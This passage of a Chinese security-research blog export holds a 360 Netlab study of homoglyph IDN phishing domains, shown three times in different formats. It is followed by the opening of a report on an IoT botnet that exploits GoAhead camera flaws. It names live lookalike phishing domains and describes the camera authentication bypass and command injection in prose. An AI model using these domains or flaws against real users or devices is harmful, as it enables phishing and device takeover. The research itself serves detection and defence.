Ranking数值进行了分析，结果与经验一致，可能受到影响的网站密集的集中在Ranking数值非常高的部分。</p> <p>Table 2: 受影响的知名网站Alexa Ranking数值分布<br> <img src="__GHOST_URL__/content/images/2017/04/WechatIMG194.jpeg" alt="" loading="lazy"></p> <p><strong>2. DNS Query Number</strong></p> <p>  我们提到，对于同一个热门域名，可能会有多个IDN域名与它形近异义。在这里，我们对这些IDN域名近一周的DNS请求量进行分析。结论如下：1）其中访问量最大的域名为“xn--80ak6aa92e.com” （针对apple.com进行钓鱼的域名），在最近一周访问超过3千次（预估中国全网访问次数超过3W次）。我们认为这个域名的请求量是受到了相关博客报导的激励而产生。2）其他一些比较热门的域名如：xn--pple-43d.com（针对apple.com钓鱼），xn--80aa1cn6g67a.com（针对alipay.com钓鱼）也存在数百的访问量。3）大量长尾IDN域名存在在网络中长期存活，但是访问量并没有真正起来。<br> <img src="__GHOST_URL__/content/images/2017/04/Picture1.png" alt="" loading="lazy">Fig2： 部分IDN域名的在一周时间内DNS请求量</p> <p>  针对于最热门的几个钓鱼域名，我们再详细看下他们DNS请求量的在一个月时间维度上面的变化情况。 很明显，最热门的三个IDN域名近期都出现很明显的陡增现象，这也印证了我们的猜测，即近期的相关报导激励了大量用户的访问。</p> <p><img src="__GHOST_URL__/content/images/2017/04/Picture.png" alt="" loading="lazy">Fig4：一个月时间内，三个IDN域名的请求量变化</p> <p><strong>3. Whois information</strong></p> <p>  截止目前，由于我们手上资源的限制，IDN域名类形的Whois信息并不全面。在此我们只通过一些例子来表明IDN域名的注册信息与真实域名注册信息的关系。 在下面的列出的6个例子中，仅有google.com一个域名IDN的注册邮箱和原域名的注册邮箱一致。其余的均有被抢注的嫌疑。尤其是伪造godaddy.com的IDN域名被一个少年在2015年用QQ邮箱抢注。更有意思的是，在搜索引擎中搜索这个QQ后你会想说[12][13]，多才多艺的少年，保重龙体啊！<br>   综合whois注册信息，我们确信，网络中大量形近异义类形的IDN域名已经被抢注，在后续的一段时间是有可能对知名的品牌造成滥用。360网络安全研究院会跟进这些信息，并提醒相关的公司如果有机会请利用Homoglyph Attack Generator这一工具将与自身利益相关的形近异义IDN域名迅速保护下来。</p> <p>Table 3: 6个与知名网站的形近异义的IDN域名注册邮箱分析<br> <img src="__GHOST_URL__/content/images/2017/04/WechatIMG192.jpeg" alt="" loading="lazy"></p> <p><strong>4. What are they doing?</strong></p> <p>  上面我们提到，这次IDN域名的选取的数据集是从库里面取出的全量数据集（其中部分域名可能没有正确的解析结果）结合DNS query numebr的分析也可以看出，大部分的IDN域名其实都没有被用起来。这一行为可能是由于各个公司主动采取的品牌保护策略导致的（在攻击者之前，提前注册多种形近异义的IDN域名，并将解析依然指回原网站，比如xn--80aac5cct.com，访问后依然跳转到淘宝站点）。 也就是说，很可能大量现有的形近异义IDN域名都不是在做恶意的事情。<br>   现在我们也对这次survey中得到形近异义域名的行为做一分类（注：我们忽略了所有不能正常访问的IDN网站）。如下表，目前与知名网站形近异义的IDN域名主要用途包括：钓鱼，parking，品牌保护这几个方面。中国的一家网站也受到这种威胁的影响。 也就是说，尽管很多IDN域名的访问量没有攀升起来，但是我们非常确定以及有攻击者利用IDN域名在进行恶意活动，比如对著名社交网站（Facebook）进行钓鱼攻击。（感谢政府的帮忙，幸亏我没有账号）。</p> <p>Table 4: “形近异义”的IDN域名的真实用途分析<br> <img src="__GHOST_URL__/content/images/2017/04/WechatIMG193.jpeg" alt="" loading="lazy"></p> <p>下图是我们发现的<strong>利用IDN域名进行钓鱼攻击</strong>的案例。话说你都注册到这个域名了，做到这个份上了，好歹也开个HTTPS啊。<br> <img src="__GHOST_URL__/content/images/2017/04/WechatIMG196.jpeg" alt="" loading="lazy">Fig5: 利用IDN域名进行钓鱼攻击的案例</p> <p>  另外，www.xn--oogle-qmc.com （与Google.com形近）会将用户重定向到144.dragonparking.com（OS Safari环境），里面包含色情违法信息。www.xn--googl-r51b.com （与Google.com形近）也被用来做Parking Service。以上案例均已说明，确实已有攻击者注意到与热门域名“形近异义”的IDN域名，并利用这类域名进行灰色及攻击活动。</p> <p><img src="__GHOST_URL__/content/images/2017/04/WechatIMG197.jpeg" alt="" loading="lazy">Fig6: 利用IDN域名进行Parking的案例</p> <h6 id="">历史版本</h6> <p>4月21日 完稿<br> 4月23日 小修</p> <h3 id="reference">Reference###</h3> <p>[1] <a href="https://en.wikipedia.org/wiki/Internationalized_domain_name">https://en.wikipedia.org/wiki/Internationalized_domain_name</a><br> [2] <a href="http://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html">http://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html</a><br> [3] <a href="http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&amp;mid=2451171974&amp;idx=1&amp;sn=1a75e940994052362caea57552d490c2">http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&amp;mid=2451171974&amp;idx=1&amp;sn=1a75e940994052362caea57552d490c2</a><br> [4] <a href="http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-attacks-to-obfuscate-urls-for-phishing">http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-attacks-to-obfuscate-urls-for-phishing</a><br> [5] <a href="https://www.youtube.com/watch?v=Ie5Tyhrkca0">https://www.youtube.com/watch?v=Ie5Tyhrkca0</a><br> [6] <a href="https://www.bluecoat.com/security-blog/2014-05-22/bad-guys-using-internationalized-domain-names-idns">https://www.bluecoat.com/security-blog/2014-05-22/bad-guys-using-internationalized-domain-names-idns</a><br> [7] <a href="https://passivedns.cn">https://passivedns.cn</a><br> [8] <a href="http://s3.amazonaws.com/alexa-static/top-1m.csv.zip">http://s3.amazonaws.com/alexa-static/top-1m.csv.zip</a><br> [9] <a href="https://pypi.python.org/pypi/ImageHash">https://pypi.python.org/pypi/ImageHash</a><br> [10] <a href="https://pypi.python.org/pypi/six">https://pypi.python.org/pypi/six</a><br> [11] <a href="https://docs.google.com/spreadsheets/d/1khEWMi9D90ZpyUQ">https://docs.google.com/spreadsheets/d/1khEWMi9D90ZpyUQ</a><br> LSXCCVV8p5GImjIth1ix0EmmxQu8/edit?usp=sharing<br> [12] <a href="https://tieba.baidu.com/p/917190685">https://tieba.baidu.com/p/917190685</a><br> [13] <a href="https://baike.1688.com/doc/view-d21042617.html">https://baike.1688.com/doc/view-d21042617.html</a></p> <!--kg-card-end: markdown-->

Introduction###   文中首先对IDN的历史和研究进行了回顾，并从近日有关IDN的博客入手，利用DNS派的流量数据，使用轻量级的方法，对目前网络中的“形近异义”的IDN域名进行了测量研究，并对IDN域名目前在网络中的用途进行分析。研究发现，1）Alexa Top10K 域名中至少有83个域名的形近异义IDN域名在活跃，即相关的知名网站受到这种潜在的钓鱼攻击影响；2）我们发现了一起真实的利用IDN域名对Facebook进行钓鱼攻击的案例（www.xn--facebok-i01c.com）。网络安全研究院会持续跟进这项测量研究，希望借此提醒有关厂商，注意提高与其相关的IDN域名品牌保护意识。 Background### 1. IDN   国际域名（Internationalized domain name, IDN）[1]，最早在1996年由Martin Durst提出并在1998年由Tan Juay kwang等人进行实现，是指在域名中包含至少一个特殊语言字母的域名，特殊语言包括中文、法文、拉丁文等。在DNS系统工作中，这种域名会被编码成ASCII字符串，并通过Punycode进行翻译。   2008年，IETF成立了一个IDN工作组开始讨论更新IDNA的协议，并在2009年，ICANN （Internet Corporation for Assigned Names and Numbers）为了方便更多的native language用户使用互联网，批准在DNS体系中加入 IDN ccTLDs (internationalized country code top-level domains)。最终，于2010年，第一个IDN ccTLD被添加到DNS root zone 中。 2. Recent Reports   最近有两个博客引起了大家的关注，在此我们先对两个博客的内容进行简单回顾。   第一篇博客《一种几乎无法被检测的钓鱼攻击》[2]， 文中作者使用了IDN域名，使得用户点击URL后，浏览器地址栏显示的两个www.apple.com字符串几乎让用户无法区分，因此博客作者认为攻击这种钓鱼攻击几乎无法检测。 不过，我们在重现这一操作时，发现地址栏显示的内容（证书方面）是和用户的浏览器以及操作系统相关。（Trick Here：chrome所使用的字体在这个过程中也起到了一定的帮助作用。） Source:thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html   第二篇博客《我好像进了一个假的alipay.com》[3]则更加直接，直接举了一个对支付宝网站进行钓鱼的例子: www.xn--80aa1cn6g67a.com。 当然，文章最后作者说明这个是腾讯的员工在恶搞阿里，但是也足以说明，这种钓鱼确实是可能存在的。(4月21日 EST，该网站已无法访问)。 Source:微信公众号 黑鸟 3. Previous Study   我们提到，IDN域名从2010年就开始被加入DNS Root Zone中了，相关的研究也都迅速展开。在此同样我们也选取两个文章回顾一下以前的研究内容。   第一篇文章《Out of Character: Use of Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing Adrian Crenshaw》[4]（发表于2012年），YouTube演讲视频见[5]。 这篇文章研究了三种主流浏览器是如何显示IDN字符，并且研究了不同语言字符之间的混淆。作者还提供了一个工具Homoglyph Attack Generator 用于生成可能有问题的编码字符串。也就是说，从这里开始，已有研究者表明利用（abuse）IDN域名在浏览器中的显示问题，通过选择与知名网站“形近”的IDN域名是可以实现钓鱼攻击的。   第二篇是由赛门铁克公司发布的一篇博客，《Bad Guys Using Internationalized Domain Names (IDNs)》[6]（发表于2014年)。这篇文章列出了大量真实IDN域名案例，主要阐述了IDN已经开始被滥用，以及被滥用的几个方面，包括恶意软件，僵尸网络等。 在文章的结尾，文章作者也预期IDN域名会迅速增长，并对品牌保护带来严重的负面影响。在这篇文章中作者对网络中大量真实IDN case的分析，但很遗憾没有做一个全面的测量。 Data Set### 1. Passive DNS   360 netlab的拥有国内最大的公开Passive DNS数据库。基于此数据库可以方便的导出所有的IDN域名。目前相关数据也开始向可信单位及个人提供查询接口，具体申请流程请见[7]。本次实验数据取自近一周还在活跃的IDN域名。 2. Alexa Ranking   文中提到的所有知名域名从Alexa Ranking Top 10K [8]的域名中选取。 Approach### 1. Goal   针对目前DNS流量中，与知名网站“形近异义”的IDN域名进行测量研究。重点研究，此类IDN域名的数量及访问规模，受到潜在钓鱼影响的知名网站数量及类型，以及目前此类IDN域名在进行什么业务。 后续我们会补充IP地址关联性分析。 2. Idea   目前近一周时间内，还在活跃的IDN域名超过一百万，因此网络爬虫、网页分析等常见检测手法在这里都不太适用。我们需要一个非常高效的算法检测他们是否与热门网站域名“形近异义”。我们算法的出发点便落在了“形近”上面。   如下图所示，这个针对apple进行钓鱼的域名解码之后的字符串与原始字符串十分相近，换句话说，如果把这两个字符串保存成图片，那么这两个图片的相似度会非常高。从这一点出发，我们将Alexa Top10K的域名（SLD与“www.”+SLD ）的字符串分别保存为一个图片，建立一个图片库（共计两万张），并将100W+的IDN域名解码之后也分别保存为图片，并与图片库中进行对比，寻找相似图片。 Fig1：与apple.com形近异义的一个IDN域名 3. Tool    在上述idea中涉及到两个部分，1）如何快速提取一个图片的特征[9]；2）如何快速找出相近图片[10]。 在图像识别领域，这些都是已经解决并且非常成熟的问题，具体实现原理请详见参考文献，我们不再赘述。 Results and Findings### 1. Overview    受影响的网站分析   通过分析我们发现，在Alexa Top 10K域名中已经有83个知名域名已经受到形近异义IDN域名的影响。分析数据并不包含已经被注册但是并未被使用的IDN域名数量，因此实际上受到影响网站会更多。这些网站涉及到多个国家，包括：美国，中国，加拿大，印度，韩国等国。已经有证据显示近日此类形近异义的IDN域名在明显增长。   相关受到影响的域名详见链接[11]。其中部分网站的类形分析如下， 可以看到，除了搜索引擎，购物网站外，大量企业的域名也受到影响，甚至多个色情网站也受到这种IDN域名的影响。值得一提的是，两个知名的支付网站也存在形近异义类形的IDN域名。 Table 1: 受影响的知名网站类型分布    Ranking分析   我们同时也对这些域名的Alexa Ranking数值进行了分析，结果与经验一致，可能受到影响的网站密集的集中在Ranking数值非常高的部分。 Table 2: 受影响的知名网站Alexa Ranking数值分布 2. DNS Query Number   我们提到，对于同一个热门域名，可能会有多个IDN域名与它形近异义。在这里，我们对这些IDN域名近一周的DNS请求量进行分析。结论如下：1）其中访问量最大的域名为“xn--80ak6aa92e.com” （针对apple.com进行钓鱼的域名），在最近一周访问超过3千次（预估中国全网访问次数超过3W次）。我们认为这个域名的请求量是受到了相关博客报导的激励而产生。2）其他一些比较热门的域名如：xn--pple-43d.com（针对apple.com钓鱼），xn--80aa1cn6g67a.com（针对alipay.com钓鱼）也存在数百的访问量。3）大量长尾IDN域名存在在网络中长期存活，但是访问量并没有真正起来。 Fig2： 部分IDN域名的在一周时间内DNS请求量   针对于最热门的几个钓鱼域名，我们再详细看下他们DNS请求量的在一个月时间维度上面的变化情况。 很明显，最热门的三个IDN域名近期都出现很明显的陡增现象，这也印证了我们的猜测，即近期的相关报导激励了大量用户的访问。 Fig4：一个月时间内，三个IDN域名的请求量变化 3. Whois information   截止目前，由于我们手上资源的限制，IDN域名类形的Whois信息并不全面。在此我们只通过一些例子来表明IDN域名的注册信息与真实域名注册信息的关系。 在下面的列出的6个例子中，仅有google.com一个域名IDN的注册邮箱和原域名的注册邮箱一致。其余的均有被抢注的嫌疑。尤其是伪造godaddy.com的IDN域名被一个少年在2015年用QQ邮箱抢注。更有意思的是，在搜索引擎中搜索这个QQ后你会想说[12][13]，多才多艺的少年，保重龙体啊！   综合whois注册信息，我们确信，网络中大量形近异义类形的IDN域名已经被抢注，在后续的一段时间是有可能对知名的品牌造成滥用。360网络安全研究院会跟进这些信息，并提醒相关的公司如果有机会请利用Homoglyph Attack Generator这一工具将与自身利益相关的形近异义IDN域名迅速保护下来。 Table 3: 6个与知名网站的形近异义的IDN域名注册邮箱分析 4. What are they doing?   上面我们提到，这次IDN域名的选取的数据集是从库里面取出的全量数据集（其中部分域名可能没有正确的解析结果）结合DNS query numebr的分析也可以看出，大部分的IDN域名其实都没有被用起来。这一行为可能是由于各个公司主动采取的品牌保护策略导致的（在攻击者之前，提前注册多种形近异义的IDN域名，并将解析依然指回原网站，比如xn--80aac5cct.com，访问后依然跳转到淘宝站点）。 也就是说，很可能大量现有的形近异义IDN域名都不是在做恶意的事情。   现在我们也对这次survey中得到形近异义域名的行为做一分类（注：我们忽略了所有不能正常访问的IDN网站）。如下表，目前与知名网站形近异义的IDN域名主要用途包括：钓鱼，parking，品牌保护这几个方面。中国的一家网站也受到这种威胁的影响。 也就是说，尽管很多IDN域名的访问量没有攀升起来，但是我们非常确定以及有攻击者利用IDN域名在进行恶意活动，比如对著名社交网站（Facebook）进行钓鱼攻击。（感谢政府的帮忙，幸亏我没有账号）。 Table 4: “形近异义”的IDN域名的真实用途分析 下图是我们发现的利用IDN域名进行钓鱼攻击的案例。话说你都注册到这个域名了，做到这个份上了，好歹也开个HTTPS啊。 Fig5: 利用IDN域名进行钓鱼攻击的案例   另外，www.xn--oogle-qmc.com （与Google.com形近）会将用户重定向到144.dragonparking.com（OS Safari环境），里面包含色情违法信息。www.xn--googl-r51b.com （与Google.com形近）也被用来做Parking Service。以上案例均已说明，确实已有攻击者注意到与热门域名“形近异义”的IDN域名，并利用这类域名进行灰色及攻击活动。 Fig6: 利用IDN域名进行Parking的案例 历史版本 4月21日 完稿 4月23日 小修 Reference### [1] https://en.wikipedia.org/wiki/Internationalized_domain_name [2] http://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html [3] http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451171974&idx=1&sn=1a75e940994052362caea57552d490c2 [4] http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-attacks-to-obfuscate-urls-for-phishing [5] https://www.youtube.com/watch?v=Ie5Tyhrkca0 [6] https://www.bluecoat.com/security-blog/2014-05-22/bad-guys-using-internationalized-domain-names-idns [7] https://passivedns.cn [8] http://s3.amazonaws.com/alexa-static/top-1m.csv.zip [9] https://pypi.python.org/pypi/ImageHash [10] https://pypi.python.org/pypi/six [11] https://docs.google.com/spreadsheets/d/1khEWMi9D90ZpyUQ LSXCCVV8p5GImjIth1ix0EmmxQu8/edit?usp=sharing [12] https://tieba.baidu.com/p/917190685 [13] https://baike.1688.com/doc/view-d21042617.html

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"###Introduction###\n&emsp;&emsp;文中首先对IDN的历史和研究进行了回顾，并从近日有关IDN的博客入手，利用DNS派的流量数据，使用轻量级的方法，对目前网络中的“形近异义”的IDN域名进行了测量研究，并对IDN域名目前在网络中的用途进行分析。研究发现，1）Alexa Top10K 域名中至少有83个域名的形近异义IDN域名在活跃，即相关的知名网站受到这种潜在的钓鱼攻击影响；2）我们发现了一起真实的利用IDN域名对Facebook进行钓鱼攻击的案例（www.xn--facebok-i01c.com）。网络安全研究院会持续跟进这项测量研究，希望借此提醒有关厂商，注意提高与其相关的IDN域名品牌保护意识。\n\n###Background###\n**1. IDN** \n&emsp;&emsp;国际域名（Internationalized domain name, IDN）[1]，最早在1996年由Martin Durst提出并在1998年由Tan Juay kwang等人进行实现，是指在域名中包含至少一个特殊语言字母的域名，特殊语言包括中文、法文、拉丁文等。在DNS系统工作中，这种域名会被编码成ASCII字符串，并通过Punycode进行翻译。 \n&emsp;&emsp;2008年，IETF成立了一个IDN工作组开始讨论更新IDNA的协议，并在2009年，ICANN （Internet Corporation for Assigned Names and Numbers）为了方便更多的native language用户使用互联网，批准在DNS体系中加入 IDN ccTLDs (internationalized country code top-level domains)。最终，于2010年，第一个IDN ccTLD被添加到DNS root zone 中。\n\n**2. Recent Reports** \n&emsp;&emsp;最近有两个博客引起了大家的关注，在此我们先对两个博客的内容进行简单回顾。 \n&emsp;&emsp;第一篇博客《一种几乎无法被检测的钓鱼攻击》[2]， 文中作者使用了IDN域名，使得用户点击URL后，浏览器地址栏显示的两个www.apple.com字符串几乎让用户无法区分，因此博客作者认为攻击这种钓鱼攻击几乎无法检测。 不过，我们在重现这一操作时，发现地址栏显示的内容（证书方面）是和用户的浏览器以及操作系统相关。（Trick Here：chrome所使用的字体在这个过程中也起到了一定的帮助作用。） \nSource:thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html\n\n&emsp;&emsp;第二篇博客《我好像进了一个假的alipay.com》[3]则更加直接，直接举了一个对支付宝网站进行钓鱼的例子: www.xn--80aa1cn6g67a.com。 当然，文章最后作者说明这个是腾讯的员工在恶搞阿里，但是也足以说明，这种钓鱼确实是可能存在的。(4月21日 EST，该网站已无法访问)。\nSource:微信公众号 黑鸟\n\n**3. Previous Study** \n&emsp;&emsp;我们提到，IDN域名从2010年就开始被加入DNS Root Zone中了，相关的研究也都迅速展开。在此同样我们也选取两个文章回顾一下以前的研究内容。 \n&emsp;&emsp;第一篇文章《Out of Character: Use of Punycode and Homoglyph Attacks to Obfuscate URLs for Phishing Adrian Crenshaw》[4]（发表于2012年），YouTube演讲视频见[5]。 这篇文章研究了三种主流浏览器是如何显示IDN字符，并且研究了不同语言字符之间的混淆。作者还提供了一个工具Homoglyph Attack Generator 用于生成可能有问题的编码字符串。也就是说，从这里开始，已有研究者表明利用（abuse）IDN域名在浏览器中的显示问题，通过选择与知名网站“形近”的IDN域名是可以实现钓鱼攻击的。 \n&emsp;&emsp;第二篇是由赛门铁克公司发布的一篇博客，《Bad Guys Using Internationalized Domain Names (IDNs)》[6]（发表于2014年)。这篇文章列出了大量真实IDN域名案例，主要阐述了IDN已经开始被滥用，以及被滥用的几个方面，包括恶意软件，僵尸网络等。 在文章的结尾，文章作者也预期IDN域名会迅速增长，并对品牌保护带来严重的负面影响。在这篇文章中作者对网络中大量真实IDN case的分析，但很遗憾没有做一个全面的测量。\n\n###Data Set###\n**1. Passive DNS** \n&emsp;&emsp;360 netlab的拥有国内最大的公开Passive DNS数据库。基于此数据库可以方便的导出所有的IDN域名。目前相关数据也开始向可信单位及个人提供查询接口，具体申请流程请见[7]。本次实验数据取自近一周还在活跃的IDN域名。\n\n**2. Alexa Ranking** \n&emsp;&emsp;文中提到的所有知名域名从Alexa Ranking Top 10K [8]的域名中选取。\n\n###Approach###\n**1. Goal** \n&emsp;&emsp;针对目前DNS流量中，与知名网站“形近异义”的IDN域名进行测量研究。重点研究，此类IDN域名的数量及访问规模，受到潜在钓鱼影响的知名网站数量及类型，以及目前此类IDN域名在进行什么业务。 后续我们会补充IP地址关联性分析。 \n\n**2. Idea** \n&emsp;&emsp;目前近一周时间内，还在活跃的IDN域名超过一百万，因此网络爬虫、网页分析等常见检测手法在这里都不太适用。我们需要一个非常高效的算法检测他们是否与热门网站域名“形近异义”。我们算法的出发点便落在了“形近”上面。 \n&emsp;&emsp;如下图所示，这个针对apple进行钓鱼的域名解码之后的字符串与原始字符串十分相近，换句话说，如果把这两个字符串保存成图片，那么这两个图片的相似度会非常高。从这一点出发，我们将Alexa Top10K的域名（SLD与“www.”+SLD ）的字符串分别保存为一个图片，建立一个图片库（共计两万张），并将100W+的IDN域名解码之后也分别保存为图片，并与图片库中进行对比，寻找相似图片。 \n Fig1：与apple.com形近异义的一个IDN域名 \n\n**3. Tool** \n&emsp;&emsp; 在上述idea中涉及到两个部分，1）如何快速提取一个图片的特征[9]；2）如何快速找出相近图片[10]。 在图像识别领域，这些都是已经解决并且非常成熟的问题，具体实现原理请详见参考文献，我们不再赘述。\n\n\n\n\n###Results and Findings###\n**1. Overview** \n\n&emsp;&emsp; **受影响的网站分析** \n&emsp;&emsp;通过分析我们发现，在Alexa Top 10K域名中已经有**83**个知名域名已经受到形近异义IDN域名的影响。分析数据并不包含已经被注册但是并未被使用的IDN域名数量，因此实际上受到影响网站会更多。这些网站涉及到多个国家，包括：美国，中国，加拿大，印度，韩国等国。已经有证据显示近日此类形近异义的IDN域名在明显增长。 \n&emsp;&emsp;相关受到影响的域名详见链接[11]。其中部分网站的类形分析如下， 可以看到，除了搜索引擎，购物网站外，大量企业的域名也受到影响，甚至多个色情网站也受到这种IDN域名的影响。值得一提的是，两个知名的支付网站也存在形近异义类形的IDN域名。\n \nTable 1: 受影响的知名网站类型分布 \n\n\n&emsp;&emsp; **Ranking分析** \n&emsp;&emsp;我们同时也对这些域名的Alexa Ranking数值进行了分析，结果与经验一致，可能受到影响的网站密集的集中在Ranking数值非常高的部分。\n \nTable 2: 受影响的知名网站Alexa Ranking数值分布 \n\n\n**2. DNS Query Number** \n\n&emsp;&emsp;我们提到，对于同一个热门域名，可能会有多个IDN域名与它形近异义。在这里，我们对这些IDN域名近一周的DNS请求量进行分析。结论如下：1）其中访问量最大的域名为“xn--80ak6aa92e.com” （针对apple.com进行钓鱼的域名），在最近一周访问超过3千次（预估中国全网访问次数超过3W次）。我们认为这个域名的请求量是受到了相关博客报导的激励而产生。2）其他一些比较热门的域名如：xn--pple-43d.com（针对apple.com钓鱼），xn--80aa1cn6g67a.com（针对alipay.com钓鱼）也存在数百的访问量。3）大量长尾IDN域名存在在网络中长期存活，但是访问量并没有真正起来。 \nFig2： 部分IDN域名的在一周时间内DNS请求量\n\n&emsp;&emsp;针对于最热门的几个钓鱼域名，我们再详细看下他们DNS请求量的在一个月时间维度上面的变化情况。 很明显，最热门的三个IDN域名近期都出现很明显的陡增现象，这也印证了我们的猜测，即近期的相关报导激励了大量用户的访问。\n\nFig4：一个月时间内，三个IDN域名的请求量变化\t\n\n\n**3. Whois information** \n\n&emsp;&emsp;截止目前，由于我们手上资源的限制，IDN域名类形的Whois信息并不全面。在此我们只通过一些例子来表明IDN域名的注册信息与真实域名注册信息的关系。 在下面的列出的6个例子中，仅有google.com一个域名IDN的注册邮箱和原域名的注册邮箱一致。其余的均有被抢注的嫌疑。尤其是伪造godaddy.com的IDN域名被一个少年在2015年用QQ邮箱抢注。更有意思的是，在搜索引擎中搜索这个QQ后你会想说[12][13]，多才多艺的少年，保重龙体啊！ \n&emsp;&emsp;综合whois注册信息，我们确信，网络中大量形近异义类形的IDN域名已经被抢注，在后续的一段时间是有可能对知名的品牌造成滥用。360网络安全研究院会跟进这些信息，并提醒相关的公司如果有机会请利用Homoglyph Attack Generator这一工具将与自身利益相关的形近异义IDN域名迅速保护下来。\n\nTable 3: 6个与知名网站的形近异义的IDN域名注册邮箱分析\n\n\n**4. What are they doing?** \n\n&emsp;&emsp;上面我们提到，这次IDN域名的选取的数据集是从库里面取出的全量数据集（其中部分域名可能没有正确的解析结果）结合DNS query numebr的分析也可以看出，大部分的IDN域名其实都没有被用起来。这一行为可能是由于各个公司主动采取的品牌保护策略导致的（在攻击者之前，提前注册多种形近异义的IDN域名，并将解析依然指回原网站，比如xn--80aac5cct.com，访问后依然跳转到淘宝站点）。 也就是说，很可能大量现有的形近异义IDN域名都不是在做恶意的事情。 \n&emsp;&emsp;现在我们也对这次survey中得到形近异义域名的行为做一分类（注：我们忽略了所有不能正常访问的IDN网站）。如下表，目前与知名网站形近异义的IDN域名主要用途包括：钓鱼，parking，品牌保护这几个方面。中国的一家网站也受到这种威胁的影响。 也就是说，尽管很多IDN域名的访问量没有攀升起来，但是我们非常确定以及有攻击者利用IDN域名在进行恶意活动，比如对著名社交网站（Facebook）进行钓鱼攻击。（感谢政府的帮忙，幸亏我没有账号）。\n\nTable 4: “形近异义”的IDN域名的真实用途分析\n\n\n下图是我们发现的**利用IDN域名进行钓鱼攻击**的案例。话说你都注册到这个域名了，做到这个份上了，好歹也开个HTTPS啊。\nFig5: 利用IDN域名进行钓鱼攻击的案例\n\n&emsp;&emsp;另外，www.xn--oogle-qmc.com （与Google.com形近）会将用户重定向到144.dragonparking.com（OS Safari环境），里面包含色情违法信息。www.xn--googl-r51b.com （与Google.com形近）也被用来做Parking Service。以上案例均已说明，确实已有攻击者注意到与热门域名“形近异义”的IDN域名，并利用这类域名进行灰色及攻击活动。\n\nFig6: 利用IDN域名进行Parking的案例\n\n\n######历史版本\n\n4月21日 完稿 \n4月23日 小修\n\n\n###Reference###\n[1] https://en.wikipedia.org/wiki/Internationalized\\_domain\\_name \n[2] http://thehackernews.com/2017/04/unicode-Punycode-phishing-attack.html \n[3] http://mp.weixin.qq.com/s?__biz=MzAxOTM1MDQ1NA==&mid=2451171974&idx=1&sn=1a75e940994052362caea57552d490c2 \n[4] http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-attacks-to-obfuscate-urls-for-phishing \n[5] https://www.youtube.com/watch?v=Ie5Tyhrkca0 \n[6] https://www.bluecoat.com/security-blog/2014-05-22/bad-guys-using-internationalized-domain-names-idns \n[7] https://passivedns.cn \n[8] http://s3.amazonaws.com/alexa-static/top-1m.csv.zip \n[9] https://pypi.python.org/pypi/ImageHash \n[10] https://pypi.python.org/pypi/six \n[11] https://docs.google.com/spreadsheets/d/1khEWMi9D90ZpyUQ\nLSXCCVV8p5GImjIth1ix0EmmxQu8/edit?usp=sharing \n[12] https://tieba.baidu.com/p/917190685 \n[13] https://baike.1688.com/doc/view-d21042617.html\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

48

post

2017-04-24T06:20:58.000Z

63873b9a8b1c1e0007f52ef5

a-new-threat-an-iot-botnet-scanning-internet-on-port-81-ch

2018-10-06T09:01:19.000Z

public

published

2017-04-24T15:50:38.000Z

新威胁报告：一个新IoT僵尸网络正在 HTTP 81上大范围传播

<!--kg-card-begin: markdown--><h3 id="">概述</h3> <p>360 网络安全研究院近日监测到一个新的僵尸网络正在大范围扫描整个互联网。考虑到该僵尸网络的以下因素，我们决定向安全社区公开我们的发现成果：</p> <ol> <li>规模较大，我们目前可以看到 ～50k 日活IP</li> <li>有Simple UDP DDoS 攻击记录，可以认定是恶意代码</li> <li>较新，目前尚有较多安全厂商未能识别该恶意代码 ( 7/55 virustotal )</li> <li>与mirai僵尸网络相比，借鉴了其端口嗅探手法和部分代码，但是在传播、C2通信协议、攻击向量等关键方面完全不同于mirai，是新的恶意代码家族而不应视为mirai的变种</li> </ol> <p>我们梳理了该僵尸网络的发现过程、传播手法、行为特征，简略分析了该僵尸网络的攻击行为，并按照时间线组织本blog的各小节如下：</p> <ol> <li>GoAhead及多家摄像头的 RCE 漏洞</li> <li>攻击者将漏洞武器化</li> <li>我们注意到了来自攻击者的扫描</li> <li>从扫描到样本</li> <li>C2 历史变化回溯</li> <li>僵尸网络规模判定</li> <li>关于 212.232.46.46 我们的观察</li> <li>IoC</li> </ol> <h3 id="goaheadrce0day">GoAhead 及多家摄像头的 RCE 0Day漏洞</h3> <p>研究人员 Pierre Kim (@PierreKimSec) 于 2017-03-08 发布了一个关于GoAhead 以及其他OEM摄像头的脆弱性分析报告。在设备厂商归属方面，原作者指出由于设备OEM的原因，共涉及了超过 1,250 个不同摄像头厂商、型号；在潜在感染设备方面，原作者利用Shodan 估算有超过 185,000 个设备有潜在问题。原始文章链接如下：</p> <p><a href="https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html">https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html</a></p> <p>在原始文章中， 原作者指出 GoAhead 摄像头存在若干问题，其中包括：</p> <ul> <li>通过提供空白的 loginuse 和 loginpas 绕过认证环节，下载设备的<code>.ini</code> 文件</li> <li>通过向 <code>set_ftp.cgi</code> 中注入命令，获得root权限，并在设备上提供远程 Shell</li> </ul> <p>原作者指出攻击者组合使用上述问题，就可以在完全没有设备口令的情况下，获得设备的root权限，并提供了一个利用代码。</p> <p>在上述页面中，可以关联到原作者和其他安全社区反馈的信息。综合这些反馈，我们并没有观察到没有设备厂商积极行动起来，为本脆弱性提供解决方案，原因也许是OEM厂商之间错综复杂的关系，不过正是因为迟迟没有原始厂商采取行动，才给了攻击者继续发挥的空间。</p> <h3 id="">攻击者将漏洞武器化</h3> <p>事后看，我们认为攻击者在原始PoC公布后，花了不超过1个月的时间将上述漏洞武器化，并在2017-04-16 成功引起了我们的注意。</p> <p>我们实际看到武器化后的payload 有如下特点：</p> <ol> <li>嗅探端口从 80 改为 